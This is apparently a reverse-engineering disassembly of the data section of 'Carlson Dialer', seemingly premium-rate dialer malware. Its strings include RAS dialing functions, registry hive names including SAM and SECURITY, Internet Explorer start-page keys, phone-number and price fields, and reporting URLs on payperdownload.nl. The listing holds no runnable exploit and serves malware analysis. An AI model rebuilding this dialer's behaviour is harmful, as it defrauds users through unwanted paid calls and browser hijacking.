dword_40F050	dd 77E79908h		; DATA XREF: sub_401300+2Cr
dword_40F054	dd 77F53275h		; DATA XREF: sub_4020E0+6Dr
					; sub_402170+87r ...
dword_40F058	dd 77E7105Fh		; DATA XREF: sub_401380+2Fr
					; sub_404CD0+13Dr
dword_40F05C	dd 77E7C931h		; DATA XREF: sub_401380+1Br
dword_40F060	dd 77E760B5h		; DATA XREF: sub_401380+Cr
					; sub_404CD0+127r
dword_40F064	dd 77E6CA8Ah		; DATA XREF: sub_401DD0+29r
					; sub_404CD0+112r
dword_40F068	dd 77F5157Dh		; DATA XREF: sub_4013E0r
					; sub_407D40+334r ...
dword_40F06C	dd 77E778C5h		; DATA XREF: sub_401D50+8r
dword_40F070	dd 77E64C09h		; DATA XREF: sub_401C00+48r
dword_40F074	dd 77E79C90h		; DATA XREF: sub_401C00+41r
					; _doexit+13r
dword_40F078	dd 77F51597h		; DATA XREF: sub_403030+11r _free+30r	...
dword_40F07C	dd 77E77CB7h		; DATA XREF: sub_401C00+Er
					; sub_403030+Ar
dword_40F080	dd 77F516F8h		; DATA XREF: sub_401C00+15r
					; __heap_alloc+3Er ...
dword_40F084	dd 77E74672h		; DATA XREF: sub_401560+9r
					; sub_401590+1r ...
dword_40F088	dd 77E76A2Eh		; DATA XREF: sub_401650+5Dr
					; sub_401950+1r ...
dword_40F08C	dd 77E74A3Bh		; DATA XREF: sub_401D50+1Cr
dword_40F090	dd 77E7AC37h		; DATA XREF: WinMain(x,x,x,x)+114r
dword_40F094	dd 77E737DEh		; DATA XREF: WinMain(x,x,x,x)+F0r
dword_40F098	dd 77E777EFh		; DATA XREF: sub_402370+4r
dword_40F09C	dd 77E73BEFh		; DATA XREF: sub_4025B0+67r
					; sub_404100+453r ...
dword_40F0A0	dd 77E73167h		; DATA XREF: sub_402730+122r
					; sub_402730+1E5r ...
dword_40F0A4	dd 77E7A099h		; DATA XREF: sub_402730+4Er
					; sub_4050C0+7Dr ...
dword_40F0A8	dd 77E74155h		; DATA XREF: sub_402B60+1B9r
					; sub_4096E0+2Dr ...
dword_40F0AC	dd 77E77CC4h		; DATA XREF: .text:00402E7Cr
					; sub_402EC0+25r ...
dword_40F0B0	dd 77E73628h		; DATA XREF: .text:0040331Cr
					; sub_40B393+4r
dword_40F0B4	dd 77E6BD13h		; DATA XREF: sub_403350+414r
dword_40F0B8	dd 77E76432h		; DATA XREF: sub_403350+3F0r
					; sub_405CE0+28r ...
dword_40F0BC	dd 77E70396h		; DATA XREF: sub_403350+311r
dword_40F0C0	dd 77E775F1h		; DATA XREF: .text:004011E6r
					; __ValidateEH3RN+131r	...
dword_40F0C4	dd 77E74995h		; DATA XREF: sub_403D70+2E7r
dword_40F0C8	dd 77E80618h		; DATA XREF: sub_404CD0+1A3r
					; sub_4099A0+Ar ...
dword_40F0CC	dd 77E805B8h		; DATA XREF: sub_404CD0+EEr
dword_40F0D0	dd 77E79F93h		; DATA XREF: sub_4050C0+152r
					; sub_405440+137r ...
dword_40F0D4	dd 77E61BE6h		; DATA XREF: WinMain(x,x,x,x)+25Dr
					; sub_4097C0+45r ...
dword_40F0D8	dd 77E7C938h		; DATA XREF: WinMain(x,x,x,x)+7r
					; WinMain(x,x,x,x):loc_405A7Dr	...
dword_40F0DC	dd 77E7A5FDh		; DATA XREF: sub_4099A0+26r
					; sub_409FE0+20r ...
dword_40F0E0	dd 77E805D8h		; DATA XREF: sub_4099A0+15r
					; sub_409FE0+Ar ...
dword_40F0E4	dd 77F522F2h		; DATA XREF: __msize+30r
dword_40F0E8	dd 77E79E34h		; DATA XREF: ___sbh_free_block+22Fr
dword_40F0EC	dd 77E7C726h		; DATA XREF: __heap_init+11r
dword_40F0F0	dd 77E76E0Bh		; DATA XREF: __heap_init+44r
dword_40F0F4	dd 77E6177Ah		; DATA XREF: start+160r __ioinit+57r
dword_40F0F8	dd 77E6167Bh		; DATA XREF: _clock+Ar	___inittime+Ar	...
dword_40F0FC	dd 77E6808Fh		; DATA XREF: sub_40AF44+6r
dword_40F100	dd 77E616B4h		; DATA XREF: _doexit+1Ar
dword_40F104	dd 77E75CB5h		; DATA XREF: unknown_libname_1+29r
					; sub_40B5F4-7r
dword_40F108	dd 77F5722Fh		; DATA XREF: _realloc+FDr
					; _realloc+13Dr ...
dword_40F10C	dd 77F6183Eh		; DATA XREF: sub_40E7C2r
dword_40F110	dd 77E7F044h		; DATA XREF: __resetstkoflw+1Ar
					; __resetstkoflw+71r ...
dword_40F114	dd 77E79D8Ch		; DATA XREF: __NMSG_WRITE+155r
dword_40F118	dd 77E7C3A5h		; DATA XREF: __resetstkoflw+2Br
dword_40F11C	dd 77E7980Ah		; DATA XREF: __resetstkoflw+AFr
					; ___sbh_alloc_new_region+7Er ...
dword_40F120	dd 77E6169Ah		; DATA XREF: __resetstkoflw+D5r
dword_40F124	dd 77E79C3Dh		; DATA XREF: __NMSG_WRITE+14Er
					; __ioinit+157r
dword_40F128	dd 77EB9A84h		; DATA XREF: __XcptFilter+167r
dword_40F12C	dd 77E9C5B1h		; DATA XREF: ___crtGetEnvironmentStringsA+113r
dword_40F130	dd 77E67702h		; DATA XREF: ___crtGetEnvironmentStringsA:loc_40D47Er
dword_40F134	dd 77E7C9E1h		; DATA XREF: ___crtGetEnvironmentStringsA+C1r
dword_40F138	dd 77E77EE1h		; DATA XREF: ___crtGetEnvironmentStringsA+Br
dword_40F13C	dd 77E7C931h		; DATA XREF: __ioinit+19Cr
dword_40F140	dd 77E78406h		; DATA XREF: __ioinit+FEr
					; __ioinit+165r
dword_40F144	dd 77E802FCh		; DATA XREF: ___security_init_cookie+43r
dword_40F148	dd 77E7751Ah		; DATA XREF: ___security_init_cookie+37r
dword_40F14C	dd 77E79D5Bh		; DATA XREF: sub_401000+3r
dword_40F150	dd 77E77963h		; DATA XREF: sub_401000+40r
dword_40F154	dd 77E80656h		; DATA XREF: ___security_init_cookie+27r
dword_40F158	dd 77E641EBh		; DATA XREF: ___crtGetStringTypeA+19Cr
dword_40F15C	dd 77E7C866h		; DATA XREF: ___crtGetStringTypeA+24r
					; ___crtGetStringTypeA+128r
dword_40F160	dd 77E6C703h		; DATA XREF: __setmbcp+2Br
dword_40F164	dd 77E7849Fh		; DATA XREF: _setSBUpLow+1Cr
					; __setmbcp+93r ...
dword_40F168	dd 77E77405h		; DATA XREF: ___crtLCMapStringA+2C3r
					; ___crtLCMapStringA+344r ...
dword_40F16C	dd 77E74CABh		; DATA XREF: sub_403350+2C5r
dword_40F170	dd 77E781F9h		; DATA XREF: ___crtLCMapStringA+27r
					; ___crtLCMapStringA+15Br ...
		align 8
dword_40F178	dd 77137F69h		; DATA XREF: sub_402A90+9Dr
dword_40F17C	dd 77195999h		; DATA XREF: sub_40A570r
dword_40F180	dd 77122B5Dh		; DATA XREF: sub_406190+11r
dword_40F184	dd 77123852h		; DATA XREF: sub_406190+1Br
dword_40F188	dd 77123662h		; DATA XREF: sub_407D40+281r
					; sub_409F60+10r
dword_40F18C	dd 771216A4h		; DATA XREF: sub_401DD0+4Ar
					; sub_401E30+3Er
dword_40F190	dd 77121680h		; DATA XREF: sub_402730+270r
dword_40F194	dd 771214E8h		; DATA XREF: sub_401D10+1Dr
					; sub_401D80+31r ...
dword_40F198	dd 77131002h		; DATA XREF: sub_403D70+256r
dword_40F19C	dd 7713D759h		; DATA XREF: sub_4029F0+63r
dword_40F1A0	dd 77137DF4h		; DATA XREF: sub_402730+18Br
					; sub_402730+263r
		align 8
dword_40F1A8	dd 773F97B0h		; DATA XREF: sub_403350+744r
dword_40F1AC	dd 77428B97h		; DATA XREF: sub_405BC0+12r
					; sub_405FB0+6Dr ...
		dd 0
dword_40F1B4	dd 7730FE11h		; DATA XREF: sub_402730+A5r
		dd 0
dword_40F1BC	dd 77D444FFh		; DATA XREF: sub_408350+38r
					; sub_408350+4C4r
dword_40F1C0	dd 77D444F0h		; DATA XREF: sub_406110+70r
					; sub_408350+338r ...
dword_40F1C4	dd 77D626EDh		; DATA XREF: sub_405CE0+36r
					; sub_405F00+8r ...
dword_40F1C8	dd 77D6272Dh		; DATA XREF: sub_405E80+17r
					; sub_406060+73r
dword_40F1CC	dd 77D48AA8h		; DATA XREF: sub_407D40+534r
dword_40F1D0	dd 77D6ADD7h		; DATA XREF: sub_406210+7Fr
dword_40F1D4	dd 77D442CFh		; DATA XREF: sub_407D40+5D1r
dword_40F1D8	dd 77D4B816h		; DATA XREF: sub_405CC0+Cr
					; sub_405EB0+3Br ...
dword_40F1DC	dd 77D4C783h		; DATA XREF: sub_405D70+A5r
					; sub_405E40+18r ...
dword_40F1E0	dd 77D4C96Ah		; DATA XREF: sub_405D70+3Dr
					; sub_405D70+7Br ...
dword_40F1E4	dd 77D47250h		; DATA XREF: sub_405D70+21r
					; sub_408A10+20r ...
dword_40F1E8	dd 77D47627h		; DATA XREF: sub_407D40+55r
dword_40F1EC	dd 77D4D42Bh		; DATA XREF: sub_407D40+58Ar
dword_40F1F0	dd 77D4816Dh		; DATA XREF: sub_407D40+542r
dword_40F1F4	dd 77D6274Fh		; DATA XREF: sub_407AA0+16r
dword_40F1F8	dd 77D5BB6Ch		; DATA XREF: sub_407D40+2A8r
dword_40F1FC	dd 77D4702Fh		; DATA XREF: sub_407D40+59Cr
dword_40F200	dd 77D49A11h		; DATA XREF: sub_405CC0+4r
					; sub_405EB0+33r ...
dword_40F204	dd 77D43FEDh		; DATA XREF: .text:00405C71r
					; sub_407D40+3Ar
dword_40F208	dd 77D47F34h		; DATA XREF: .text:00405C96r
dword_40F20C	dd 77D48137h		; DATA XREF: .text:00405C9Dr
					; sub_407D40+576r
dword_40F210	dd 77D47E92h		; DATA XREF: WinMain(x,x,x,x)+17Cr
dword_40F214	dd 77D44200h		; DATA XREF: WinMain(x,x,x,x)+1E2r
dword_40F218	dd 77D5F482h		; DATA XREF: WinMain(x,x,x,x)+1F9r
dword_40F21C	dd 77D441F2h		; DATA XREF: WinMain(x,x,x,x)+1FFr
dword_40F220	dd 77D5E69Dh		; DATA XREF: WinMain(x,x,x,x)+1A8r
dword_40F224	dd 77D4CD1Eh		; DATA XREF: sub_4020E0+2Cr
dword_40F228	dd 77D47D27h		; DATA XREF: WinMain(x,x,x,x):loc_405B0Cr
					; .text:00405C8Fr ...
dword_40F22C	dd 77D49951h		; DATA XREF: sub_404A20+B3r
					; .text:00404B7Dr ...
dword_40F230	dd 77D472ECh		; DATA XREF: sub_401060+8r
					; sub_401770+19r ...
dword_40F234	dd 77D5C5EAh		; DATA XREF: sub_401000+4Er
dword_40F238	dd 77D6EF20h		; DATA XREF: .text:00405C62r
					; sub_407D40+29r
		align 10h
dword_40F240	dd 76204E4Dh		; DATA XREF: sub_4066F0+867r
					; sub_4066F0+872r ...
dword_40F244	dd 76214750h		; DATA XREF: sub_4066F0+7Ar
					; sub_406FE0+C7r
dword_40F248	dd 7620AFB6h		; DATA XREF: sub_4066F0+58r
					; sub_406FE0+55r
dword_40F24C	dd 7623BA67h		; DATA XREF: sub_4066F0+32r
					; sub_406FE0+33r
dword_40F250	dd 762400A5h		; DATA XREF: sub_4066F0+7r
					; sub_406FE0+8r
dword_40F254	dd 7620BD61h		; DATA XREF: sub_4066F0+A4r
					; sub_406FE0+F3r
		dd 0
dword_40F25C	dd 771C07CBh		; DATA XREF: sub_4025B0+41r
dword_40F260	dd 771C07B9h		; DATA XREF: sub_4025B0+BEr
					; sub_4025B0+D3r ...
dword_40F264	dd 771E664Ch		; DATA XREF: sub_401B60+20r
					; sub_4022A0+10r
dword_40F268	dd 771F5279h		; DATA XREF: sub_4015D0+2Cr
dword_40F26C	dd 771C1E56h		; DATA XREF: sub_402390+2Er
					; sub_402B60+64r ...
dword_40F270	dd 771C0CE0h		; DATA XREF: sub_402B60+13Ar
dword_40F274	dd 771C16BAh		; DATA XREF: WinMain(x,x,x,x)+26Dr
dword_40F278	dd 771C6F69h		; DATA XREF: WinMain(x,x,x,x)+11r
dword_40F27C	dd 771E4985h		; DATA XREF: sub_401420+47r
					; sub_402210+12r
		dd 2 dup(0)
off_40F288	dd offset aAppid	; DATA XREF: sub_401950+Do
					; "AppID"
		dd offset aClsid_0	; "CLSID"
		dd offset aComponentCateg ; "Component Categories"
		dd offset aFiletype	; "FileType"
		dd offset aInterface	; "Interface"
		dd offset aHardware	; "Hardware"
		dd offset aMime		; "Mime"
		dd offset aSam		; "SAM"
		dd offset aSecurity	; "SECURITY"
		dd offset aSystem	; "SYSTEM"
		dd offset aSoftware	; "Software"
		dd offset aTypelib	; "TypeLib"
aTypelib	db 'TypeLib',0          ; DATA XREF: sub_401950+1Fo
					; .rdata:0040F2B4o
aSoftware	db 'Software',0         ; DATA XREF: .rdata:0040F2B0o
		align 4
aSystem		db 'SYSTEM',0           ; DATA XREF: .rdata:0040F2ACo
		align 4
aSecurity	db 'SECURITY',0         ; DATA XREF: .rdata:0040F2A8o
		align 10h
aSam		db 'SAM',0              ; DATA XREF: .rdata:0040F2A4o
aMime		db 'Mime',0             ; DATA XREF: .rdata:0040F2A0o
		align 4
aHardware	db 'Hardware',0         ; DATA XREF: .rdata:0040F29Co
		align 4
aInterface	db 'Interface',0        ; DATA XREF: .rdata:0040F298o
		align 4
aFiletype	db 'FileType',0         ; DATA XREF: .rdata:0040F294o
		align 10h
aComponentCateg	db 'Component Categories',0 ; DATA XREF: .rdata:0040F290o
		align 4
aClsid_0	db 'CLSID',0            ; DATA XREF: .rdata:0040F28Co
		align 10h
aAppid		db 'AppID',0            ; DATA XREF: .rdata:off_40F288o
		align 4
dword_40F338	dd 9B4AA441h, 11D59EBFh, 5000118Ch, 0F55749DAh,	40F398h
					; DATA XREF: WinMain(x,x,x,x)+1Bo
		dd 40F394h, 40F390h, 40F38Ch, 40F388h, 40F37Ch,	40F370h
		dd 40F368h
aDelete		db 'Delete',0           ; DATA XREF: sub_404100+56o
					; .rdata:0040FC38o
		align 10h
aNoremove	db 'NoRemove',0         ; DATA XREF: sub_404100:loc_40426Do
					; .rdata:0040FC34o
		align 4
aForceremove	db 'ForceRemove',0      ; DATA XREF: sub_404100+6Ao
					; .rdata:0040FC30o
aVal		db 'Val',0              ; DATA XREF: sub_404100:loc_404295o
					; .rdata:0040FC2Co
aB:					; DATA XREF: sub_401650+49o
					; .rdata:0040FC28o
		unicode	0, <B>,0
aD:					; DATA XREF: sub_401650+36o
					; .rdata:0040FC24o
		unicode	0, <D>,0
aM:					; DATA XREF: sub_401650+23o
					; .rdata:0040FC20o
		unicode	0, <M>,0
aS_0:					; DATA XREF: sub_401650+10o
					; .rdata:0040FC1Co
		unicode	0, <S>,0
dword_40F39C	dd 323h, 0		; DATA XREF: sub_402390+29o
		dd 0C0h, 46000000h, 0
dword_40F3B0	dd 0FFFFFFFFh, 4010F9h,	40110Dh, 0 ; DATA XREF:	sub_4010B0+5o
dword_40F3C0	dd 0FFFFFFFFh, 401334h,	401344h	; DATA XREF: sub_401300+5o
dword_40F3CC	dd 2 dup(0)		; DATA XREF: sub_401420+23o
					; sub_402210+2Fo
		dd 0C0h, 46000000h, 59454B48h, 5255435Fh, 544E4552h, 4E4F435Fh
		dd 474946h, 59454B48h, 4E59445Fh, 5441445Fh, 41h, 59454B48h
		dd 5245505Fh, 4D524F46h, 45434E41h, 5441445Fh, 41h, 59454B48h
		dd 4553555Fh, 5352h, 59454B48h,	434F4C5Fh, 4D5F4C41h, 49484341h
		dd 454Eh, 59454B48h, 5255435Fh,	544E4552h, 4553555Fh, 52h
		dd 59454B48h, 414C435Fh, 53455353h, 4F4F525Fh, 54h, 43434B48h
		dd 0
aHkdd		db 'HKDD',0
		align 10h
aHkpd		db 'HKPD',0
		align 4
aHku		db 'HKU',0
aHklm		db 'HKLM',0
		align 4
aHkcu		db 'HKCU',0             ; DATA XREF: .rdata:0040F4A0o
		align 4
aHkcr		db 'HKCR',0             ; DATA XREF: .rdata:off_40F498o
		align 8
off_40F498	dd offset aHkcr		; DATA XREF: sub_404BA0:loc_404C00r
					; "HKCR"
dword_40F49C	dd 80000000h		; DATA XREF: sub_404BA0:loc_404C24r
		dd offset aHkcu		; "HKCU"
		dd 80000001h, 40F47Ch, 80000002h, 40F478h, 80000003h, 40F470h
		dd 80000004h, 40F468h, 80000006h, 40F460h, 80000005h, 40F44Ch
		dd 80000000h, 40F438h, 80000001h, 40F424h, 80000002h, 40F418h
		dd 80000003h, 40F400h, 80000004h, 40F3F0h, 80000006h, 40F3DCh
		dd 80000005h
dword_40F508	dd 146h, 0		; DATA XREF: sub_402390+21o
		dd 0C0h, 46000000h
aAppid_0:				; DATA XREF: sub_4023F0+Bo
		unicode	0, <APPID>,0
dword_40F524	dd 0			; DATA XREF: sub_4023F0+6o
off_40F528	dd offset sub_402520	; DATA XREF: sub_4024D0+4o
					; sub_4050C0+13o ...
		dd offset sub_402530
		dd offset sub_402540
		dd offset sub_403CA0
		dd offset sub_4020D0
		dd offset sub_402550
dword_40F540	dd 626C742Eh		; DATA XREF: sub_402730+19Br
byte_40F544	db 0			; DATA XREF: sub_402730+1A0r
		align 4
aImplementedCat	db '\Implemented Categories',0 ; DATA XREF: sub_402B60+24Fo
aRequiredCatego	db '\Required Categories',0 ; DATA XREF: sub_402B60+1C6o
		align 4
aClsid		db 'CLSID\',0           ; DATA XREF: sub_402B60+1AEo
					; sub_402B60:loc_402D9Do
		align 10h
dword_40F580	dd 2E012h, 0		; DATA XREF: sub_402B60+56o
		dd 0C0h, 46000000h
off_40F590	dd offset sub_403050	; DATA XREF: sub_40E930+38o
					; .data:off_412070o
		dd offset sub_402370
		dd offset sub_401D50
		dd offset sub_402380
		dd offset sub_402390
		dd offset sub_4023F0
		dd offset sub_4023E0
		dd offset sub_4023E0
		dd offset sub_405920
		dd offset sub_405430
aUninstshortcut	db 'uninstShortcut',0   ; DATA XREF: sub_4030B0+B7o
					; .text:0040329Ao ...
		align 4
aUninstexe	db 'uninstExe',0        ; DATA XREF: sub_4030B0+98o
					; .text:00403234o ...
		align 4
asc_40F5D4:				; DATA XREF: sub_4030B0+2Eo
					; .text:004031DCo ...
		unicode	0, <\>,0
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Carlson',0
					; DATA XREF: .text:00403339o
					; sub_403350+672o
aUninstallstrin	db 'UninstallString',0  ; DATA XREF: sub_403350+722o
aU		db ' -u',0              ; DATA XREF: sub_403350+6BAo
aDisplayname	db 'DisplayName',0      ; DATA XREF: sub_403350+6B2o
aCarlsonDialer	db 'Carlson Dialer',0   ; DATA XREF: sub_403350+68Eo
					; sub_403350+6AAo
		align 4
aInternetDialer	db 'Internet Dialer',0  ; DATA XREF: sub_403350+5A0o
a_lnk		db '.lnk',0             ; DATA XREF: sub_403350:loc_4038A9o
		align 4
a_exe		db '.exe',0             ; DATA XREF: sub_403350:loc_4036E0o
		align 4
a_:					; DATA XREF: sub_403350+26Bo
		unicode	0, <.>,0
aC		db 'c:\',0              ; DATA XREF: sub_403350:loc_4034FAo
off_40F66C	dd offset sub_404890	; DATA XREF: sub_404850+15o
					; sub_404B20+6o
		dd offset sub_404B20
		dd offset sub_404A10
		dd offset nullsub_1
aRegistry:				; DATA XREF: sub_4050C0+20Bo
					; sub_405440+24Eo
		unicode	0, <REGISTRY>,0
		align 10h
aModule_raw:				; DATA XREF: sub_4050C0+1D1o
					; sub_405440+1BAo
		unicode	0, <Module_Raw>,0
		align 4
aModule:				; DATA XREF: sub_4050C0+163o
					; sub_4050C0+1B6o ...
		unicode	0, <Module>,0
		align 4
aRegserver	db 'RegServer',0        ; DATA XREF: WinMain(x,x,x,x)+7Co
		align 4
aUnregserver	db 'UnregServer',0      ; DATA XREF: WinMain(x,x,x,x):loc_4059A0o
word_40F6D0	dw 2F2Dh		; DATA XREF: WinMain(x,x,x,x)+41r
byte_40F6D2	db 0			; DATA XREF: WinMain(x,x,x,x)+36r
		align 4
aHttpWww_traffi	db 'http://www.trafficjam.nl/?failed=initialize',0
					; DATA XREF: .data:off_4120D8o
aCarlson	db 'Carlson',0          ; DATA XREF: .data:off_4120D4o
aProgramfilesdi	db 'ProgramFilesDir',0  ; DATA XREF: .data:off_4120D0o
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: .data:off_4120CCo
		align 4
aInternetprofil	db 'InternetProfile',0  ; DATA XREF: .data:off_4120C8o
aDefault	db 'Default',0          ; DATA XREF: .data:off_4120C4o
aRemoteaccess	db 'RemoteAccess',0     ; DATA XREF: .data:off_4120C0o
		align 4
aStartPage	db 'Start Page',0       ; DATA XREF: .data:004120BCo
		align 4
aSoftwareMicr_2	db 'Software\Microsoft\Internet Explorer\Main',0
					; DATA XREF: .data:004120B8o
		align 4
aStartMenu	db 'Start Menu',0       ; DATA XREF: .data:off_4120B4o
		align 10h
aDesktop	db 'Desktop',0          ; DATA XREF: .data:004120B0o
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0
					; DATA XREF: .data:off_4120ACo
byte_40F7F9	db 1			; DATA XREF: WinMain(x,x,x,x)+1AEr
					; .text:00405C7Fr ...
		db 1
byte_40F7FB	db 1			; DATA XREF: sub_403350:loc_403972r
					; WinMain(x,x,x,x)+128r
		align 10h
dword_40F800	dd 0			; DATA XREF: sub_4065D0:loc_4065F0r
dword_40F804	dd 12Ch			; DATA XREF: sub_4065D0:loc_40661Ar
		dd 1, 12Dh, 2, 12Eh, 3,	12Fh, 4, 130h, 5, 131h,	6, 132h
		dd 7, 133h, 8, 134h, 9,	135h, 0Ah, 136h, 0Bh, 137h, 0Ch
		dd 138h, 0Dh, 139h, 0Eh, 13Ah, 0Fh, 13Bh, 10h, 13Ch, 11h
		dd 13Dh, 12h, 13Eh, 13h, 13Fh, 14h, 140h, 15h, 141h, 16h
		dd 142h, 17h, 143h, 1000h, 144h, 1001h,	145h, 1002h, 146h
		dd 1003h, 147h,	1004h, 148h, 2000h, 149h, 2001h, 14Ah
aOpen		db 'open',0             ; DATA XREF: sub_405BC0+Bo
					; sub_405FB0+67o ...
		align 10h
aResourceLdNotF	db 'resource %ld not found',0 ; DATA XREF: sub_405D70+37o
		align 4
aLasterror	db '&lasterror=',0      ; DATA XREF: sub_406210+10Fo
aLinenumber	db '&linenumber=',0     ; DATA XREF: sub_406210+F0o
		align 4
aErrorFatalFile	db 'error=fatal&filename=',0 ; DATA XREF: sub_406210+D1o
		align 4
asc_40F94C:				; DATA XREF: sub_406210+C2o
		unicode	0, <&>,0
a?:					; DATA XREF: sub_406210+BBo
					; sub_406390+14Bo ...
		unicode	0, <?>,0
aS		db '%s',0               ; DATA XREF: sub_4065D0+BCo
		align 4
aCc		db 'cc',0               ; DATA XREF: sub_4066F0+81Fo
					; sub_407980+86o ...
		align 4
aPrice2		db 'price2',0           ; DATA XREF: sub_4066F0+809o
					; sub_406FE0+42Eo
		align 4
aPrice1		db 'price1',0           ; DATA XREF: sub_4066F0+7F0o
					; sub_406FE0+4B7o
		align 4
aPhonenumber2	db 'phonenumber2',0     ; DATA XREF: sub_4066F0+7D3o
					; sub_406FE0+415o ...
		align 4
aPhonenumber1	db 'phonenumber1',0     ; DATA XREF: sub_4066F0+7B6o
					; sub_406FE0+49Eo ...
		align 4
; char aXx[]
aXx		db 'XX',0               ; DATA XREF: sub_4066F0+5D5o
		align 10h
; char aXx_0[]
aXx_0		db 'xx',0               ; DATA XREF: sub_4066F0+5BEo
					; sub_406FE0+3C0o ...
		align 4
; char aCountrycode[]
aCountrycode	db 'countrycode',0      ; DATA XREF: sub_4066F0+2C7o
; char aPrice[]
aPrice		db 'price',0            ; DATA XREF: sub_4066F0+272o
					; sub_406FE0+24Fo
		align 4
; char aRealnumber[]
aRealnumber	db 'realnumber',0       ; DATA XREF: sub_4066F0+20Co
					; sub_406FE0+21Ao
		align 4
; char aCall[]
aCall		db 'call',0             ; DATA XREF: sub_4066F0+1D9o
					; sub_406FE0+1E7o
		align 4
; char aCallrecords_0[]
aCallrecords_0	db '/callrecords',0     ; DATA XREF: sub_4066F0+1BBo
					; sub_406FE0+1C9o
		align 4
; char Str1[]
Str1		db 'callrecords',0      ; DATA XREF: sub_4066F0+194o
					; sub_406FE0+1A2o
aHttpPrs_payp_0	db 'http://prs.payperdownload.nl/radius/dialer_admin/geoip.asp',0
					; DATA XREF: sub_4066F0+74o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_4066F0+53o
					; sub_406FE0+50o
aHttpPrs_payper	db 'http://prs.payperdownload.nl',0 ; DATA XREF: sub_4066F0+14o
					; sub_4066F0+3Co ...
		align 4
aHttpPrs_payp_1	db 'http://prs.payperdownload.nl/radius/dialer_admin/geoip2.asp?cc=',0
					; DATA XREF: sub_406FE0+7Ao
aPrefix		db 'Prefix',0           ; DATA XREF: sub_407750+83o
					; sub_407820+86o ...
		align 10h
aIsdn		db 'isdn',0             ; DATA XREF: sub_407D40+3F1o
					; sub_409AD0+44o
		align 4
aModem		db 'modem',0            ; DATA XREF: sub_407D40+3E1o
					; sub_409AD0+34o
		align 10h
a_Bsdmaindlg_cp	db '.\BsdMainDlg.cpp',0 ; DATA XREF: sub_407D40+340o
		align 4
aDialDS		db 'Dial: %d - %s',0    ; DATA XREF: sub_408350+243o
		align 4
aUpdateentryDS	db 'UpdateEntry: %d - %s',0 ; DATA XREF: sub_408350+1F9o
		align 4
aConnecttime	db 'connecttime',0      ; DATA XREF: sub_408B20+12Fo
					; sub_408CF0+10Fo
aPassword2	db 'password2',0        ; DATA XREF: sub_408B20+E3o
					; sub_408CF0+F5o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: sub_408B20+CAo
					; sub_408CF0+DCo
		align 10h
aUsername2	db 'username2',0        ; DATA XREF: sub_408B20+ADo
					; sub_408CF0+C3o
		align 4
aUsername1	db 'username1',0        ; DATA XREF: sub_408B20+90o
					; sub_408CF0+B3o
		align 4
aSerial		db 'serial',0           ; DATA XREF: sub_408B20+73o
					; sub_408CF0+93o
		align 10h
aVersion	db 'version',0          ; DATA XREF: sub_408B20+50o
					; sub_408CF0+73o
a2_0		db '2.0',0              ; DATA XREF: sub_409050+6o
					; sub_409050+26o
asc_40FB1C:				; DATA XREF: sub_409530+173o
		unicode	0, < >,0
asc_40FB20:				; DATA XREF: sub_4096E0+35o
					; sub_409730+3Bo
		unicode	0, <,>,0
aRassetentrydia	db 'RasSetEntryDialParamsA',0 ; DATA XREF: sub_4099A0+A6o
		align 4
aRasgetconnects	db 'RasGetConnectStatusA',0 ; DATA XREF: sub_4099A0+9Co
		align 4
aRasenumconnect	db 'RasEnumConnectionsA',0 ; DATA XREF: sub_4099A0+86o
aRashangupa	db 'RasHangUpA',0       ; DATA XREF: sub_4099A0+76o
		align 4
aRassetentrypro	db 'RasSetEntryPropertiesA',0 ; DATA XREF: sub_4099A0+6Co
		align 4
aRasgetentrypro	db 'RasGetEntryPropertiesA',0 ; DATA XREF: sub_4099A0+56o
		align 4
aRasgeterrorstr	db 'RasGetErrorStringA',0 ; DATA XREF: sub_4099A0+46o
		align 4
aRasdiala	db 'RasDialA',0         ; DATA XREF: sub_4099A0+3Co
		align 4
aRasenumdevices	db 'RasEnumDevicesA',0  ; DATA XREF: sub_4099A0+2Co
aRasapi32_dll	db 'RASAPI32.DLL',0     ; DATA XREF: sub_4099A0:loc_4099B0o
		align 4
aShgetfolderpat	db 'SHGetFolderPathA',0 ; DATA XREF: sub_409FE0+1Ao
		align 4
aShfolder_dll	db 'SHFolder.dll',0     ; DATA XREF: sub_40A3B0+31o
		align 4
aShell32_dll	db 'Shell32.dll',0      ; DATA XREF: sub_40A3B0+13o
a2x		db '%%%2x',0            ; DATA XREF: sub_40A4B0+64o
		align 4
		dd offset aS_0		; "S"
		dd offset aM		; "M"
		dd offset aD		; "D"
		dd offset aB		; "B"
		dd offset aVal		; "Val"
		dd offset aForceremove	; "ForceRemove"
		dd offset aNoremove	; "NoRemove"
		dd offset aDelete	; "Delete"
dword_40FC3C	dd 214EEh, 0		; DATA XREF: sub_40A110+Co
		dd 0C0h, 46000000h
dword_40FC4C	dd 21401h, 0		; DATA XREF: sub_40A110+15o
		dd 0C0h, 46000000h
dword_40FC5C	dd 2E005h, 0		; DATA XREF: sub_402B60+5Fo
		dd 0C0h, 46000000h
dword_40FC6C	dd 0			; DATA XREF: sub_402B60+25r
dword_40FC70	dd 0			; DATA XREF: sub_402B60+30r
dword_40FC74	dd 0			; DATA XREF: sub_402B60+3Br
dword_40FC78	dd 0			; DATA XREF: sub_402B60+46r
dword_40FC7C	dd 10Bh, 0		; DATA XREF: sub_40A110+3Do
		dd 0C0h, 46000000h, 0B62F5910h,	11D16528h, 1196h, 0D0D1EF8h
dword_40FC9C	dd 394C3DE0h, 11D23C6Fh, 0C0007B81h, 0B77A794Fh	; DATA XREF: sub_40A645+84o
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: unknown_libname_1+Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: unknown_libname_1o
stru_40FCC8	_msEH <0FFFFFFFFh, offset loc_40B589, offset loc_40B59D>
					; DATA XREF: start+2o
		align 8
stru_40FCD8	_msEH <0FFFFFFFFh, offset sub_40B5E0, offset sub_40B5E4>
					; DATA XREF: sub_40B5F4-2Fo
		align 8
stru_40FCE8	_msEH <0FFFFFFFFh, offset loc_40CB3A, offset loc_40CB3E>
					; DATA XREF: sub_40CB0D+2o
		align 8
stru_40FCF8	_msEH <0FFFFFFFFh, offset loc_40CB7E, offset loc_40CB82>
					; DATA XREF: sub_40CB51+2o
		dd 41h dup(0)
asc_40FE08:				; DATA XREF: .data:off_412278o
		unicode	0, <	     (((((		    H>
		dw 10h
